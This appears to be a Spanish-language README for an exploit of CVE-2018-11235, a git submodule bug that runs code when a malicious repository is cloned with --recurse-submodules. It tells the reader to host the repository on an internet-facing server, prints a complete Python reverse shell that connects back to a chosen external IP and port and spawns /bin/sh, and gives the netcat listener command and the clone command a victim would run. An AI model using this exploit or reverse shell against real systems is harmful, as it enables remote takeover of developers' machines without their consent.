
Exploits de CVE-2018-11235
Título del Exploit: Clone and Pwn
Fecha: 4 de junio de 2018
Autor del Exploit: Alejandro Caceres
Página del proveedor: https://git-scm.com/
Enlace del software: https://git-scm.com/downloads
Versión: se ejecuta código arbitrario en versiones del cliente git anteriores a 2.13.7, 2.14.x anteriores a 2.14.4, 2.15.x anteriores a 2.15.2, 2.16.x anteriores a 2.16.4 y 2.17.x anteriores a 2.17.1
Probado en: Linux: Ubuntu, Mint, MacOSX
CVE : CVE-2018-11235
CVE-2018-11235, denominado aquí clone and pwn, crea un repositorio git malicioso que explota un error en git. Cuando el repositorio se clona usando la opción --recurse-submodules, se ejecuta código arbitrario en versiones del cliente git anteriores a 2.13.7, 2.14.x anteriores a 2.14.4, 2.15.x anteriores a 2.15.2, 2.16.x anteriores a 2.16.4 y 2.17.x anteriores a 2.17.1.
Para usar este módulo, simplemente colócalo en un servidor con acceso directo a Internet (p. ej., AWS, Digital Ocean) y abre evil.sh. Se verá
algo como lo siguiente:
#!/usr/bin/python
EXTERN_IP="127.0.0.1"
EXTERN_PORT=8080
#reverse shell to IP EXTERN_IP and port EXTERN_PORT
import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((EXTERN_IP, EXTERN_PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Establece EXTERN_IP y EXTERN_PORT a la IP (externa) y el puerto en los que deseas recibir tu reverse shell. Puedes recibir una reverse shell con algo como:
nc -l <EXTERN_IP> EXTERN_PORT p. ej. nc -l 193.23.23.32 8080
O con el módulo genérico de shell de Metasploit. Una vez que el usuario haya ejecutado el comando git clone --recurse-submodules git://<your ip>/repo dest_dir, recibirás una reverse shell.
Si tienes problemas para ejecutarlo varias veces (o después de un intento fallido), comprueba lo siguiente:
ps aux | grep git para asegurarte de que no estés ya ejecutando gitdaemon. Mata cualquier proceso de gitdaemon.Código derivado del git patch de @peff (busca
el archivo de prueba t/t7415-submodule-names.sh).
Por lo tanto, este repositorio se publica bajo la GNU General Public License versión 2.
Corrección adicional para versiones antiguas de git cortesía de @atorralba (detalles en esta publicación).
Este script está adaptado de https://github.com/Rogdham/CVE-2018-11235, con mucho cariño y reconocimiento
=======
Explota CVE-2018-11235
Por @_hyp3ri0n y @mehaase